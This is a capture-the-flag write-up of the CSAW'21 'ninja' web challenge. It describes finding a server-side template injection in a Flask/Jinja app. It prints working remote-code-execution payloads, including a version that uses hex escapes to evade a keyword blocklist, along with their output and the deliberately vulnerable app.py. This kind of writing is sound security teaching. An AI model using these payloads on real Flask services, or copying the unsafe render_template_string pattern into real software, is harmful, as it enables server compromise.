GET /flag

CSAW'21 ninja

The ninja challenge was part of the web challenges and gave 50 points. A website (http://web.chal.csaw.io:5000) was linked to and the following description was given:

Hey guys come checkout this website i made to test my ninja-coding skills.

Website screenshot

Screenshot of the website

A very simple page presented itself, after entering a name and clicking Submit. The URL contained the entered text as GET parameter (http://web.chal.csaw.io:5000/submit?value=John+Doe) and the given value got inserted into a <h1> tag after a Hello.

 <html>
             <h1> Hello John Doe   </h1>     
        </html>

The html code of the response

This would allow an attacker to inject arbitrary html into the website and perform a reflected XSS. But that would not be very helpful in this case, since we want to find the flag{}, which probably lies somewhere on the server.

Using the Network tab of Chrome’s DevTools, I looked at the Response Headers and noticed the Server: header.

Response header screenshot

Werkzeug refers here to the WSGI web application library1, that is used by Flask2 which is a web application framework for python. Flask allows the use of templates using the Jinja3 4 template library.

Knowing this, I inferred that the web application probably uses some kind of a template to place the user input into the <h1> tag.

To test this theory one could send {# comment #} as a payload and notice that nothing will get inserted into the website. {# ... #} are comment delimiters of the jinja library and anything inside of them will not be included in the template’s output.

After some web searching if found a blog post that included a very handy prepared payload for RCE.

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

This payload imports os and executes id. After pasting that payload into the input field, I got a new response:

Sorry, the following keywords/characters are not allowed :- _ ,config ,os, RUNCMD, base

This meant that some obfuscation was necessary. Luckily the blog post from before also included a section about obfuscation.

  1. To avoid the filtering of _ I replaced all occurrences with the string literal \x5f.

  2. Obfuscating os was very similar and easy: \x6fs

But, the ‘WAF’ would still block the payload, until I obfuscated the import string.

{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5f\x69mport\x5f\x5f']('\x6fs')['popen']('id')['read']()}}

RCE!

 <html>
             <h1> Hello uid=65534(nobody) gid=65534(nobody)
   </h1>     
        </html>

The response included the output of id. With a simple ls, I found the flag.txt. And then I could just cat out the flag.

{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5f\x69mport\x5f\x5f']('\x6fs')['popen']('cat flag.txt')['read']()}}

Out of curiosity I also dumped the content of app.py:

#!/usr/bin/env python2

from flask import Flask
from flask import render_template, render_template_string
from flask import request
import re

app = Flask(__name__)

@app.route('/')
def index():
    return render_template("index.html")

@app.route('/submit', methods=["GET"])
def submit():
    try:
        template = """ <html>
             <h1> Hello {}   </h1>     
        </html>
        """.format(request.args.get('value'))

    except KeyError:
        return "Error, stop doing sneaky stuff here."

    filter_regex = r"_|config|os|RUNCMD|base|import"


    if re.search(filter_regex, template):
        return "Sorry, the following keywords/characters are not allowed :- _ ,config ,os, RUNCMD, base"


    return render_template_string(template)

  1. https://pypi.org/project/Werkzeug/ 

  2. https://www.palletsprojects.com/p/flask/ 

  3. https://jinja.palletsprojects.com/en/3.0.x/templates/ 

  4. Jinja is very similar to the challenge’s name ninja